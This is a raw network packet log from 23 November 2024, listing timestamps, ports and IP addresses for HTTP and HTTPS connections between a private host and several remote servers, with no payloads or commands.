Nov 23, 2024 15:22:25.867119074 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.867165089 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.867187023 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.867229939 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.868119955 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.868170977 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.868201017 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.868241072 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.869162083 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.869285107 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.869342089 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.870157957 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.870209932 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.870209932 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.870265007 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.870552063 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:25.870733023 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:25.870804071 CET	49802	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:25.871020079 CET	49802	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:25.871033907 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:25.871043921 CET	49802	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:25.871048927 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:25.871342897 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.871429920 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.871496916 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.872227907 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.872309923 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.872345924 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.872401953 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.873294115 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.873363018 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.873366117 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.873452902 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.874325991 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.874401093 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.874444962 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.874723911 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.874794960 CET	49808	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:25.874860048 CET	443	49808	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:25.874944925 CET	49808	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:25.875089884 CET	49808	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:25.875125885 CET	443	49808	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:25.875339985 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.875389099 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.875483990 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.875531912 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.876502991 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.876575947 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.876617908 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.876862049 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.877419949 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.877583981 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.877602100 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.877654076 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.878434896 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.878485918 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.878521919 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.878568888 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.879441977 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.879508018 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.879566908 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.879689932 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.880573988 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.880621910 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.880703926 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.880748034 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.881494999 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.881545067 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.881586075 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.881730080 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.882500887 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.882555008 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.882637978 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.882674932 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.883574963 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.883631945 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.883671045 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.883714914 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.884599924 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.884648085 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.884685040 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.884855986 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.885742903 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.885791063 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.885878086 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.885919094 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.886682034 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.886729956 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.886810064 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.886857033 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.887670994 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.887717962 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.887758970 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.888189077 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.888787985 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.888835907 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.888896942 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.888940096 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.889744997 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.889791012 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.889837027 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.889904022 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.890738964 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.890796900 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.890963078 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.891015053 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.891788960 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.891921997 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.891932011 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.892004013 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.892796040 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.892910004 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.893173933 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.893841982 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.893884897 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.894001007 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.894095898 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.894920111 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.894969940 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.895014048 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.895055056 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.895891905 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.896090031 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.896142006 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.897069931 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.897119999 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.897150040 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.897229910 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.898045063 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.898118973 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.898132086 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.898185015 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.899019957 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.899085999 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.899130106 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.899175882 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.900012970 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.900058985 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.900100946 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.900280952 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.901046038 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.901094913 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.901237965 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.901331902 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.901972055 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:25.902061939 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.902111053 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.902118921 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:25.902163029 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.902209997 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.902220011 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:25.902309895 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:25.902309895 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:25.902333975 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:25.902355909 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:25.903091908 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.903168917 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.905230999 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:25.905245066 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:25.905451059 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:25.905890942 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:25.905900955 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:26.031141043 CET	443	49805	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:26.031198978 CET	443	49805	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:26.031326056 CET	49805	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:26.031548023 CET	49805	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:26.031560898 CET	443	49805	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:26.031569958 CET	49805	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:26.031574965 CET	443	49805	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:26.034040928 CET	49810	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:26.034080982 CET	443	49810	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:26.034236908 CET	49810	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:26.034368992 CET	49810	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:26.034398079 CET	443	49810	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:26.129857063 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:26.130007982 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:26.130096912 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:26.130254030 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:26.130306959 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:26.141033888 CET	49811	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:26.141066074 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:26.141127110 CET	49811	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:26.156724930 CET	49811	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:26.156739950 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:26.258145094 CET	443	49806	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:26.258219004 CET	443	49806	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:26.258358002 CET	49806	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:26.263503075 CET	49806	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:26.263503075 CET	49806	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:26.263526917 CET	443	49806	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:26.263554096 CET	443	49806	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:26.268111944 CET	49812	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:26.268142939 CET	443	49812	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:26.268301964 CET	49812	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:26.269232035 CET	49812	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:26.269249916 CET	443	49812	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:26.393563032 CET	49813	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:26.393601894 CET	443	49813	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:26.393861055 CET	49813	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:26.394429922 CET	49813	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:26.394445896 CET	443	49813	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:26.855664015 CET	443	49807	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:26.860533953 CET	49807	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:26.860580921 CET	443	49807	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:26.861128092 CET	49807	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:26.861149073 CET	443	49807	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:26.861187935 CET	49807	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:26.861203909 CET	443	49807	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:27.655831099 CET	443	49813	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:27.655893087 CET	49813	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:27.665930986 CET	49813	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:27.665941954 CET	443	49813	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:27.666264057 CET	443	49813	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:27.677943945 CET	49813	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:27.677943945 CET	49813	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:27.677989006 CET	443	49813	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:27.731823921 CET	443	49808	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:27.733711004 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:27.749878883 CET	49808	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:27.749927044 CET	443	49808	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:27.753958941 CET	49808	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:27.753978014 CET	443	49808	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:27.757833958 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:27.757848024 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:27.758204937 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:27.758210897 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:27.823462009 CET	443	49810	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:27.824587107 CET	49810	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:27.824613094 CET	443	49810	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:27.824987888 CET	49810	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:27.824999094 CET	443	49810	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:27.865757942 CET	443	49807	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:27.865817070 CET	443	49807	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:27.865871906 CET	443	49807	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:27.865911961 CET	49807	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:27.865979910 CET	443	49807	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:27.866017103 CET	49807	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:27.870534897 CET	443	49807	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:27.870620966 CET	49807	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:27.938656092 CET	49807	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:27.938698053 CET	443	49807	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:27.938726902 CET	49807	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:27.938743114 CET	443	49807	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:27.947752953 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:27.969561100 CET	49811	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:27.969573975 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:27.970182896 CET	49811	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:27.970187902 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.000029087 CET	49814	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:28.000083923 CET	443	49814	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:28.000178099 CET	49814	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:28.000783920 CET	49814	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:28.000828028 CET	443	49814	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:28.050333023 CET	443	49812	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.050776005 CET	49812	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.050797939 CET	443	49812	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.051297903 CET	49812	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.051304102 CET	443	49812	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.148103952 CET	49793	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:28.148468018 CET	49815	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:28.175003052 CET	443	49808	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.175187111 CET	443	49808	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.175246954 CET	49808	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.175353050 CET	49808	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.175384045 CET	443	49808	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.175410032 CET	49808	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.175424099 CET	443	49808	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.177859068 CET	49816	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.177891016 CET	443	49816	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.177946091 CET	49816	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.178086042 CET	49816	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.178097963 CET	443	49816	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.178944111 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.179094076 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.179148912 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.179296970 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.179296970 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.179306030 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.179317951 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.182104111 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.182123899 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.182178974 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.182353973 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.182365894 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.267704964 CET	443	49810	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.267776966 CET	443	49810	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.267832041 CET	49810	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.268259048 CET	49810	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.268294096 CET	443	49810	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.268321037 CET	49810	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.268335104 CET	443	49810	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.269851923 CET	80	49793	185.215.113.43	192.168.2.4
Nov 23, 2024 15:22:28.269901037 CET	49793	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:28.269995928 CET	80	49815	185.215.113.43	192.168.2.4
Nov 23, 2024 15:22:28.270056963 CET	49815	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:28.270694971 CET	49815	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:28.273581028 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.273614883 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.273669958 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.297821045 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.297840118 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.390253067 CET	80	49815	185.215.113.43	192.168.2.4
Nov 23, 2024 15:22:28.392254114 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.392349005 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.392399073 CET	49811	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.392530918 CET	49811	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.392535925 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.392545938 CET	49811	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.392549992 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.392693996 CET	49819	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:28.392704964 CET	443	49819	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:28.392766953 CET	49819	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:28.394262075 CET	49819	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:28.394272089 CET	443	49819	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:28.395639896 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.395684004 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.395731926 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.395828009 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.395842075 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.406559944 CET	443	49813	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:28.406666994 CET	443	49813	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:28.406716108 CET	49813	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:28.406826019 CET	49813	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:28.406835079 CET	443	49813	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:28.500206947 CET	443	49812	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.500262022 CET	443	49812	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.500305891 CET	49812	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.500428915 CET	49812	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.500437021 CET	443	49812	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.500447035 CET	49812	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.500452042 CET	443	49812	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.502768040 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.502836943 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.502914906 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.503036022 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:28.503082037 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:28.974126101 CET	49822	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:28.974172115 CET	443	49822	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:28.974246025 CET	49822	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:28.974528074 CET	49822	443	192.168.2.4	172.67.223.140
